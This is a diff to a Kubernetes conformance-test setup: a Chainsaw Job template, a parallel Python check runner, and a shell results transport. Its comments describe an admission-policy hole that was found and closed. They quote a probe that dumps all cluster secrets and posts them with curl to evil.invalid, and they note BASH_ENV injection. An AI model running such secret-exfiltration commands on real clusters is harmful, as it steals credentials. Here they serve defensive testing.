+# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
+# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
 #
-# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
-# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
-# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
-# CI collects, and enforces the merge / phase-exit gate on the outcome.
+# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
+# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
+# create a permanent Job object and fight the trigger for ownership.
 #
-# Two invocation shapes (CI sets args):
-#   * MERGE GATE:  ./run.sh --requirements <touched R-IDs>   (subset)
-#   * PHASE EXIT:  ./run.sh --layer all                      (full suite)
+# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
+# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
+# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
+# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
 #
-# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
-#   Chosen = a shared results emptyDir + a terminating log stream, with an
-#   OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
-#   no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
-#   once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
-#   results volume (or scrapes the pod log, which echoes their paths).
+# -----------------------------------------------------------------------------
+# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
+# -----------------------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
+# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
+# ONLY: exactly one container on a digest-pinned conformance-runner image,
+# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
+# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
+# host namespaces, non-root with privilege escalation off, and — the constraint that
+# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
 #
-# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
+# So the git credential CANNOT be a projected/secret volume, and the init container
+# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
+#   * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
+#     BY SECRET NAME ONLY — no token literal ever appears in this file;
+#   * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
+#     readOnlyRootFilesystem stays true without a third volume and without subPath
+#     mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
+#     by the non-root runner).
+#
+# Verify before changing anything here:
+#   kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
+#     --resource <rendered job> \
+#     --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
+# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
+# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
+#
+# -----------------------------------------------------------------------------
+# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
+# -----------------------------------------------------------------------------
+# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
+# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
+# never examined, so the exact escalation the policy exists to stop was reachable one
+# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
+# compliant:
+#
+#   * this template with ONLY the init container's args replaced by
+#     `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+#   * and (the coordinator's independent reproduction) a `privileged: true`
+#     `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
+#
+#   ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # BOTH ADMITTED
+#
+# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+#
+# Closed by new rules in that policy, authorised by the coordinator in this PR
+# (the original brief forbade policy edits; that was to stop the boundary being BENT to
+# fit a Job, not to stop a hole being closed):
+#   * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
+#     container, on the digest-pinned runner image, `command:
+#     ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
+#     not privileged. The clone logic moved OUT of this manifest and into the image for
+#     exactly this reason: a policy cannot vet a shell script passed as `args`, so the
+#     script had to stop being caller-supplied data. It stays reviewable as
+#     conformance/incluster/conformance-clone.
+#   * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
+#     unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
+#     verified here, and the rule costs nothing if it is true.
+#   * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
+#     was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
+#     the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
+#     sources it before running a non-interactive script. Names are allowlisted per container;
+#     VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
+#     environment-specific, and conformance-runner can already read this namespace's Secrets
+#     through its own RBAC, so pinning the source would buy nothing).
+#
+# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
+# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
+# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
+# `envfrom-whole-secret` — so they stay failing.
+#
+# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
+# committed shape" policy is only as good as its enumeration of every field that can carry
+# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
+# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
+# does, that is the finding, not an oversight to work around.
+#
+# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
+# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
+#
+# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
+# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
+#
+# -----------------------------------------------------------------------------
+# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
+# -----------------------------------------------------------------------------
+# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
+# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
+# that belongs to a script — a trap this file walked into while the clone logic was still an
+# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
+# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
+# with a two-token sed, nothing cleverer:
+#
+#   sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
+#       -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
+#
+#   @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@  the 64-hex digest of the pinned runner image.
+#         Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
+#         are committed literals, so the substitution cannot repoint the image at another
+#         repository, and the template still satisfies the policy's image pattern before
+#         rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
+#   @@CONFORMANCE_GIT_SHA@@             the 40-hex commit under test. The init container
+#         REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
+#         or an injected value is a hard failure, never a run of the wrong tree.
+#
+# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
+# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
+# file be handed to `kyverno apply` as-is.
+#
+# -----------------------------------------------------------------------------
+# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
+# -----------------------------------------------------------------------------
+# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
+# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
+# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
+# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
+#
+#   requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
+#   offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
+#
+# so:
+#   ["--layer","l2,l3"]                                        -> offline selection EMPTY. RUNS.
+#   ["--layer","l2,l3","--requirements","R-NET-01"]             -> intersected to L2/L3. RUNS.
+#   ["--layer","l2,l3","--include-scope","whole-repo"]          -> scope union is ALSO
+#         layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
+#   ["--requirements","R-NET-01"]        (no --layer, so LAYER=all) -> unbounded: pulls that
+#         requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
+#   ["--layer","all","--strict-coverage"]                       -> every L0/L1 test. FAILS.
+#
+# The first three are measured working by the image build (PR #18); the last two are measured
+# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
+# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
+# The committed default below is the narrowest shape that works.
+#
+# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
+# security boundary should not encode which toolchain an image happens to ship, and the failure
+# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
+# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
+#
+# -----------------------------------------------------------------------------
+# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
+# -----------------------------------------------------------------------------
+# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
+# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
+# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
+# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
+# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
+# complete artifact set — which a bare blob would, because base64 decodes a truncated
+# stream to plausible garbage without complaint. See the block comment above
+# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
+#
+# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
+# transport is the pod's log, so the Job must finish while that log still exists.
 # =============================================================================
 apiVersion: batch/v1
 kind: Job
@@ -28,7 +180,10 @@ metadata:
     app.kubernetes.io/part-of: conformance
 spec:
   backoffLimit: 0            # deterministic: a failed conformance run is a failure, no retry
+  # A retry would also re-emit the artifact envelope, giving the collector two BEGIN
+  # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
   ttlSecondsAfterFinished: 3600
+  activeDeadlineSeconds: 5400   # L3 fault injection is slow; a hung run must not hold the gate
   template:
     metadata:
       labels:
@@ -37,38 +192,118 @@ spec:
       serviceAccountName: conformance-runner    # scoped test identity (rbac.yaml)
       restartPolicy: Never
       securityContext:
+        # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
+        # alone only *rejects* a root image, it does not choose a uid, and the runner image
+        # is built by a separate task (plan §5 step 1). 65532 is the conventional
+        # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
+        # emptyDirs group-writable for that uid.
         runAsNonRoot: true
+        runAsUser: 65532
+        runAsGroup: 65532
+        fsGroup: 65532
         seccompProfile: { type: RuntimeDefault }
-      containers:
-        - name: chainsaw
-          # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
-          image: ghcr.io/kyverno/chainsaw:v0.2.12
-          workingDir: /workspace/conformance
-          # The suite repo is delivered into /workspace (git clone init-container or
-          # a Flux-populated volume). run.sh is the single entrypoint (identical to local).
-          command: ["./run.sh"]
-          # CI overrides args per invocation shape:
-          #   ["--requirements", "R-NET-01,R-NET-06"]   (merge gate) OR
-          #   ["--layer", "all", "--strict-coverage"]   (phase exit)
-          args: ["--layer", "all", "--strict-coverage"]
+      initContainers:
+        # ---------------------------------------------------------------------
+        # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
+        #
+        # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
+        # conformance/incluster/conformance-clone and is baked into the runner image at
+        # /usr/local/bin/conformance-clone. That is what makes the init container
+        # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
+        # `args: [<script>]`, no admission policy could distinguish the committed script
+        # from an attacker's — both are just `args` on a shell, and a Job with a privileged
+        # alpine init container running `kubectl get secrets -A` was ADMITTED (measured
+        # 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
+        # pins this container to that one path with NO args, so it carries no
+        # caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
+        # and for why the repository URL is hardcoded THERE rather than passed in env.
+        #
+        # Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
+        # is not 40 hex characters before it touches the network.
+        # ---------------------------------------------------------------------
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          command: ["/usr/local/bin/conformance-clone"]
           env:
-            - name: CONF_ROOT
-              value: /workspace/conformance
+            - name: CONFORMANCE_GIT_SHA
+              value: "@@CONFORMANCE_GIT_SHA@@"
+            # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
+            # READ-ONLY Gitea token with read access to this one repository — never a write
+            # token, never a deploy key with push. Keys: `username`, `token`.
+            # An env var is not a volume, which is how this coexists with the admission
+            # policy's workspace/results-only rule.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+            # Writable scratch + HOME on the workspace emptyDir, so the root filesystem
+            # stays read-only and no third volume is needed.
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
           volumeMounts:
             - { name: workspace, mountPath: /workspace }
-            - { name: results, mountPath: /workspace/conformance/_artifacts }
           securityContext:
             allowPrivilegeEscalation: false
             readOnlyRootFilesystem: true
             capabilities: { drop: ["ALL"] }
             runAsNonRoot: true
+          resources:
+            requests: { cpu: 100m, memory: 128Mi }
+            limits: { cpu: "1", memory: 512Mi }
+      containers:
+        - name: chainsaw
+          # Digest-pinned under the conformance repository path — the admission policy
+          # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
+          # (+ kubectl, git, python3, bash); see plan §5 step 1.
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          workingDir: /workspace/src/conformance
+          # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
+          # envelope is emitted by run.sh itself rather than by a shell one-liner here.
+          command: ["./run.sh"]
+          # Replaced wholesale by the trigger per invocation shape (see the header).
+          # `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
+          args: ["--layer", "l2,l3"]
+          env:
+            # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
+            # artifact tree onto the `results` volume. It cannot live at its default
+            # conformance/_artifacts, because a volume mounted inside the clone target
+            # would make that directory non-empty and `git clone` would refuse it.
+            - name: CONF_ARTIFACTS
+              value: /results
+            # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
+            # base64 tar over an operator's terminal.
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+            runAsNonRoot: true
+          # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
+          # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
+          # node without starving the suite.
+          resources:
+            requests: { cpu: 250m, memory: 512Mi }
+            limits: { cpu: "2", memory: 2Gi }
       volumes:
-        # Suite source: populated by an init-container git clone of the impl repo at
-        # the commit under test, OR a Flux-synced source volume. (Init container
-        # omitted from this skeleton; wire in T-6.1b.)
+        # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
+        # Suite source, written by the init container: /workspace/src is the checkout,
+        # /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
         - name: workspace
           emptyDir: {}
-        # Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
-        # for a results PVC if durability beyond pod lifetime is required.
+        # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
+        # carries; an emptyDir is sufficient because the transport is the log, not the
+        # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
         - name: results
           emptyDir: {}

conformance/lib/run_l1_offline.py

@@ -14,7 +14,7 @@ Pure standard library (matches the harness's no-pip-dependency posture); the che
 themselves shell out (render checks to catalog/render.py, whose PyYAML dependency lives
 there; L0 checks to git + PyYAML).
 
-Usage: run_l1_offline.py --junit <out.xml> [--label-prefix P] <test-dir> [<test-dir> ...]
+Usage: run_l1_offline.py --junit <out.xml> [--label-prefix P] [--jobs N] <test-dir> [<test-dir> ...]
 Exit 0 iff every selected offline check passes.
 
 The per-dir check script is whichever of `render-check.sh` / `check.sh` the directory
@@ -43,13 +43,35 @@ Exit codes: 0 all selected checks passed / 1 at least one FAILED / 3 nothing fai
 scope-declared check was UNWIRED. conformance/run.sh propagates 3 verbatim; ci/l0.sh turns it
 into the gate's own rc 3. This is the ONE place the "unwired, not green" rule lives now,
 instead of once per hand-written stage.
+
+PARALLELISM (--jobs, env CONF_OFFLINE_JOBS)
+-------------------------------------------
+The checks are independent processes, so they run in a bounded thread pool (one `bash` child
+per worker). Default: min(8, usable CPUs); `--jobs 1` is the old serial runner exactly. Each
+check's stdout+stderr is CAPTURED and only reported after every check has finished, in the
+ORDER THE DIRS WERE GIVEN, so the log, the JUnit and the step summary are byte-for-byte
+independent of which check finished first (only the trailing "[N.Ns]" wall-time on each
+status line varies). The 0/1/3 aggregation runs over the same ordered case list as before.
+
+Parallel-safety is a property of the CHECKS, not of this runner: every check must keep its
+scratch state in a private mktemp/mkdtemp dir and must not write into the tree or a fixed
+path. The audit that established that for the current set is recorded in
+decisions/2026-11-08-parallel-l0-checks.md; a new check that needs shared state must say so.
+
+Nested pools: the keycloak reconciler checks run their own mutation suites in a pool
+(mutations.py, env MUTATION_JOBS). When this runner is itself parallel it exports a SMALLER
+MUTATION_JOBS (unless the caller already set one), so the two suites share the CPUs the
+other jobs-2 checks are not using instead of each taking min(8, CPUs). See inner_jobs().
 """
 from __future__ import annotations
 
 import argparse
+import os
 import re
 import subprocess
 import sys
+import time
+from concurrent.futures import ThreadPoolExecutor
 import xml.etree.ElementTree as ET
 from pathlib import Path
 from xml.dom import minidom
@@ -97,6 +119,46 @@ def collect_meta(test_yaml: Path, prefix: str):
     return name, reqs
 
 
+def usable_cpus() -> int:
+    """CPUs this process may run on (the cgroup/affinity view, not the host's count)."""
+    try:
+        return max(1, len(os.sched_getaffinity(0)))
+    except (AttributeError, OSError):
+        return max(1, os.cpu_count() or 1)
+
+
+def positive_int(text: str) -> int:
+    n = int(text)
+    if n < 1:
+        raise argparse.ArgumentTypeError(f"must be >= 1, got {n}")
+    return n
+
+
+def inner_jobs(cpus: int, outer: int) -> int:
+    """MUTATION_JOBS to hand the checks when this runner runs `outer` of them at once.
+
+    Two checks (the keycloak client-secret and passkey reconcilers) fan out internally; the
+    other outer-2 workers are single processes. Give the two suites an equal share of the CPUs
+    those others leave free, never fewer than 2 each (a 1-wide pool would make the 40-mutation
+    passkey suite the critical path of the whole stage), never more than 8. Peak process count
+    is then about (outer-2) + 2*inner, i.e. <= cpus on any machine with cpus >= outer + 2, and
+    at worst ~1.25-1.5x cpus on a small runner — CPU-bound oversubscription of that size costs
+    latency per process, not throughput.
+    """
+    if outer <= 1:
+        return min(8, cpus)
+    return max(2, min(8, (cpus - outer + 2) // 2))
+
+
+def run_check(check: Path, env: dict) -> tuple[int, str, float]:
+    t0 = time.monotonic()
+    proc = subprocess.run(
+        ["bash", str(check)], capture_output=True, text=True,
+        stdin=subprocess.DEVNULL, env=env,
+    )
+    return proc.returncode, (proc.stdout + proc.stderr).strip(), time.monotonic() - t0
+
+
 def main() -> int:
     ap = argparse.ArgumentParser(description=__doc__)
     ap.add_argument("--junit", type=Path, required=True)
@@ -108,26 +170,54 @@ def main() -> int:
                          "(makes this runner exit 3); repeatable")
     ap.add_argument("--summary-out", type=Path, default=None,
                     help="write one Markdown line per case here, for the CI step summary")
+    ap.add_argument("--jobs", type=positive_int, default=None,
+                    help="checks to run at once (default: env CONF_OFFLINE_JOBS, else "
+                         "min(8, usable CPUs)); 1 = serial")
     ap.add_argument("dirs", nargs="+", type=Path)
     args = ap.parse_args()
 
     strict_scopes = set(args.unwired_scope)
 
-    cases = []  # (name, reqs, dir, rc, output, scope)
+    cpus = usable_cpus()
+    if args.jobs is not None:
+        jobs = args.jobs
+    elif os.environ.get("CONF_OFFLINE_JOBS", "").strip():
+        try:
+            jobs = positive_int(os.environ["CONF_OFFLINE_JOBS"].strip())
+        except (ValueError, argparse.ArgumentTypeError) as e:
+            ap.error(f"CONF_OFFLINE_JOBS={os.environ['CONF_OFFLINE_JOBS']!r}: {e}")
+    else:
+        jobs = min(8, cpus)
+    child_env = dict(os.environ)
+    if not child_env.get("MUTATION_JOBS", "").strip():
+        child_env["MUTATION_JOBS"] = str(inner_jobs(cpus, jobs))
+    print(f"[offline] running {len(args.dirs)} check(s), jobs={jobs} "
+          f"(cpus={cpus}, MUTATION_JOBS={child_env['MUTATION_JOBS']})", file=sys.stderr)
+
+    # Metadata first, in the given order; then the checks themselves through the pool. The
+    # results are consumed in SUBMISSION order, so `cases` is identical to the serial runner's.
+    planned = []  # (name, reqs, dir, scope, check-or-None)
     for d in args.dirs:
         check = next((d / s for s in CHECK_SCRIPTS if (d / s).exists()), None)
         name, reqs = collect_meta(d / "chainsaw-test.yaml", args.label_prefix)
         scope = scope_of(d / "chainsaw-test.yaml", args.scope_annotation)
-        if check is None:
-            cases.append((name, reqs, d, 3,
-                          f"no offline check script ({' or '.join(CHECK_SCRIPTS)}) in {d}",
-                          scope))
-            continue
-        proc = subprocess.run(
-            ["bash", str(check)], capture_output=True, text=True
-        )
-        out = (proc.stdout + proc.stderr).strip()
-        cases.append((name, reqs, d, proc.returncode, out, scope))
+        planned.append((name, reqs, d, scope, check))
+
+    cases = []  # (name, reqs, dir, rc, output, scope)
+    elapsed = []  # wall seconds per case, same order (None: nothing ran)
+    with ThreadPoolExecutor(max_workers=jobs) as pool:
+        futures = [pool.submit(run_check, check, child_env) if check is not None else None
+                   for (_n, _r, _d, _s, check) in planned]
+        for (name, reqs, d, scope, check), fut in zip(planned, futures):
+            if fut is None:
+                cases.append((name, reqs, d, 3,
+                              f"no offline check script ({' or '.join(CHECK_SCRIPTS)}) in {d}",
+                              scope))
+                elapsed.append(None)
+                continue
+            rc, out, secs = fut.result()
+            cases.append((name, reqs, d, rc, out, scope))
+            elapsed.append(secs)
 
     failures = sum(1 for c in cases if c[3] not in (0, 3))
     skipped = sum(1 for c in cases if c[3] == 3)
@@ -145,7 +235,7 @@ def main() -> int:
         },
     )
     summary_lines = []
-    for name, reqs, d, rc, out, scope in cases:
+    for (name, reqs, d, rc, out, scope), secs in zip(cases, elapsed):
         tc = ET.SubElement(
             suite,
             "testcase",
@@ -164,8 +254,9 @@ def main() -> int:
             fail.text = out
         status = "PASS" if rc == 0 else ("SKIP" if rc == 3 else "FAIL")
         mark = f" scope={scope}" if scope else ""
+        took = f" [{secs:.1f}s]" if secs is not None else ""
         print(f"[offline] {layer_of(d):3s} {status:4s} {name} "
-              f"({','.join(reqs) or 'untagged'}){mark}",
+              f"({','.join(reqs) or 'untagged'}){mark}{took}",
               file=sys.stderr)
         if rc not in (0, 3):
             print(out, file=sys.stderr)

conformance/run.sh

@@ -60,6 +60,17 @@
 #   _artifacts/status/status.md        human requirement-status report (--status)
 #   _artifacts/status/status.json      machine requirement-status report (--status)
 #
+# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
+#   CONF_ARTIFACTS=<dir>           relocate the artifact tree off the default
+#                                  conformance/_artifacts (the Job mounts a `results`
+#                                  volume, which cannot sit inside the git-clone target).
+#   CONF_EMIT_ARTIFACTS_TGZ=1      on exit — pass, fail or abort — print a delimited,
+#                                  checksummed base64 tar of the artifact tree to STDOUT,
+#                                  because `kubectl logs` is the only channel CI has out of
+#                                  the Job (no pods/exec, no kubectl cp). See the RESULTS
+#                                  TRANSPORT block below for the envelope and for the five
+#                                  checks a collector MUST make. Never set this locally.
+#
 # Run ledger (TRACKED — commit these; --record only):
 #   runs/<UTC>-<short-sha>/run.log            full tee'd run output (carries the sentinels)
 #   runs/<UTC>-<short-sha>/report.junit.xml   the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
 # shellcheck source=versions.env
 source "${CONF_ROOT}/versions.env"
 
-ARTIFACTS="${CONF_ROOT}/_artifacts"
+# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
+# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
+# path, because that path is inside the directory the init container `git clone`s into and
+# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
+# a local run is byte-identical to what it always was.
+ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
 COVERAGE_OUT="${ARTIFACTS}/coverage"
 STATUS_OUT="${ARTIFACTS}/status"
 JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
   exit "${RUN_RC}"
 fi
 
+###############################################################################
+# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
+# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
+#
+# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
+# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
+# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
+# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
+# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
+# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
+# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
+# ships its JUnit — the red report is the evidence the gate needs most.
+#
+# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
+# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
+# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
+# may even partially unpack — silent, plausible garbage. So the envelope carries everything
+# needed to PROVE completeness, and carries it TWICE:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the .tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
+# never as "no artifacts", never as a pass:
+#   1. exactly one BEGIN line and exactly one END line;
+#   2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
+#      means two interleaved or re-emitted envelopes in one log;
+#   3. the count of body lines between them equals lines=;
+#   4. the decoded byte count equals bytes=;
+#   5. sha256 of the decoded bytes equals sha256=.
+# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
+# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
+# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
+# which is the whole design requirement.
+#
+# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
+# against the Job's completion condition instead of trusting either signal alone.
+#
+# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
+# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
+# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
+# entry changed with the environment would be a trap for the collector. It unpacks the
+# contents wherever it likes.
+#
+# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
+# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
+###############################################################################
+CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
+CONF_ARTIFACT_ENVELOPE_VERSION="v1"
+
+conf_emit_artifacts_tgz() {
+  local rc="${1:-0}"
+  # Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
+  # below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
+  # change the run's verdict — nothing here can turn a red run green or a green run red.
+  trap - EXIT
+  (
+    set +e
+    local tmp tgz b64 bytes lines sha payload
+    tmp="${TMPDIR:-/tmp}"
+    tgz="${tmp}/conformance-artifacts.$$.tgz"
+    b64="${tgz}.b64"
+    if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
+      printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
